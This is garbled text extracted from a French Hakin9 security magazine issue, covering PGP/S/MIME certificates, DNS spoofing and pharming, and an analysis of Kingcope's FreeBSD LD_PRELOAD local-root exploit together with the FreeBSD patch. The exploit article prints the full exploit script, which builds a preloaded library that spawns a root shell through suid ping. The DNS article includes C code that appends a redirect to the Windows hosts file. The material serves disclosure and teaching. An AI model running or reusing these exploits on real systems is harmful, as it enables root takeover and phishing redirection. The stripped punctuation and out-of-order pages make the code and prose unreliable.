errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 33: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

